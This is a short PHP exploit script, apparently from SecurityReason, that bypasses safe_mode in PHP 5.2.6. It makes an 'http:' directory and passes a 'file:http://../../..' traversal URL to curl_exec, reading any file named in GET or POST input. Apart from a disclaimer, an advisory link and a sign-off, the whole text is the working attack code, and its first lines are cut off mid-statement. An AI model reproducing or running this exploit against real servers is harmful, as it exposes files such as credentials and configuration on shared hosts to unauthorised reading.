This is exploit from http://securityreason.com Maksymilian Arciemowicz

Script for legal use only.

PHP 5.2.6 safe_mode bypass

More: http://securityreason.com/news/0/0x24

\n"; if(!IS_dir(dirname(__FILE__)."/http:")){ // can work without this requirement if(!IS_writable(dirname(__FILE__))) die("I can't create http: directory"); mkDIR("http:"); } if(Empty($file) aNd Empty($_GET['file']) aNd Empty($_POST['file'])) diE("\n".$karatonik); if(!empty($_GET['file'])) $file=$_GET['file']; if(!empty($_POST['file'])) $file=$_POST['file']; if((curl_exec(curl_init("file:http://../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../".$file))) aNd !emptY($file)) die("
best regards cxib from securityreason.com
"); elseif(!emptY($file)) die("
Sorry... File ".htmlspecialchars($file)." doesn't exist or you don't have permissions.
"); ?>